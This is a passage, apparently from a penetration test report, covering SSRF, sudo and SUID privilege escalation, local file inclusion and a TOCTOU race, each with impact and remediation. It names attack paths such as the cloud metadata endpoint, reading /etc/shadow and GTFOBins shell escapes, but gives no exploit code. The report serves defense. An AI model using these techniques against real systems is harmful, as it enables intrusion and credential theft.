Confidentiality
High
Integrity
High
Availability
High

Remediation

Explicitly validate the "alg" header against a server-side allowlist of permitted algorithms — never trust the algorithm declared in the token itself. Reject any token specifying the "none" algorithm or any unexpected algorithm variant. Use asymmetric signing keys (RS256 or ES256) to eliminate the risk of symmetric secret disclosure. Generate signing secrets using cryptographically secure random number generators with a minimum key length of 256 bits.
F-004 — Server-Side Request Forgery — Internal Network Pivot
8.6
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application fetched remote resources using URLs supplied by the user without validating the destination against an allowlist. This Server-Side Request Forgery (SSRF) vulnerability allowed an attacker to coerce the application server into making HTTP requests to internal services, cloud metadata endpoints, and other resources normally inaccessible from the public internet.

Impact

An attacker can reach internal services on private IP ranges not exposed externally — including administrative panels, internal APIs, and cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254) that disclose instance credentials and IAM roles enabling cloud account takeover. During this engagement, SSRF was used to pivot to internal services that were instrumental in advancing the attack chain to full server compromise.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Implement a strict server-side allowlist of permitted URL schemes, hostnames, and IP ranges for all outbound requests. Block connections to RFC 1918 private addresses, loopback, link-local ranges (169.254.0.0/16), and all IPv6 equivalents. Resolve and validate target IPs after DNS resolution to prevent DNS rebinding attacks. If outbound access is required, route all requests through a dedicated egress proxy with explicit destination filtering and comprehensive logging.
F-005 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-006 — SUID Binary Abuse — Local Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that one or more non-standard binaries were found with the SUID bit set, causing them to execute as root regardless of which user invokes them. The identified binaries are documented in the GTFOBins database and can be abused through shell escape techniques or file operation abuse to read privileged files or spawn an interactive root shell.

Impact

Any user with shell access to the host can leverage the SUID binary to escalate privileges to root without requiring additional credentials or exploiting any further software vulnerability. During this engagement, the SUID binary was used to obtain an interactive root shell within moments of obtaining the initial low-privilege access, granting complete control over the host and access to all stored credentials and data.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all SUID and SGID binaries using find / -perm /6000 -type f 2>/dev/null and remove the SUID bit from all non-essential binaries. Establish a baseline of expected SUID binaries and alert on any deviations. Never install developer tools, scripting interpreters, or GTFOBins-listed utilities with the SUID permission. Apply nosuid mount options on partitions containing user-writable content.
F-007 — Local File Inclusion — Sensitive File Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins within the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Apply PHP open_basedir restrictions to prevent file access outside the application directory. Remove file inclusion functionality that relies on user-supplied paths and replace with explicit, hardcoded include statements.
F-008 — Race Condition — TOCTOU Logic Bypass
7.0
High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that a time-of-check to time-of-use (TOCTOU) race condition was identified in a security-critical code path. The application performs a security check and acts on the result in non-atomic steps, creating a window during which an attacker can modify the shared state between the check and the action — bypassing the intended security control.

Impact

An attacker can exploit the race window by triggering concurrent requests to modify state between a security check and its associated action — bypassing file permission checks, authentication gates, or resource allocation limits. Depending on the specific operation, this can result in privilege escalation, unauthorised file access, duplicate resource consumption bypassing rate limits, or complete logic bypass — as was demonstrated during this engagement.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Redesign all security-critical operations as atomic transactions using database-level transactions, file locking primitives (flock), or Compare-And-Swap (CAS) mechanisms. Avoid performing security checks in code that is separate from the action it guards. For file creation operations, use O_EXCL and O_CREAT flags together to atomically create files and prevent concurrent creation. Apply mutex locks on endpoints susceptible to concurrent exploitation.
Reactions

Related Articles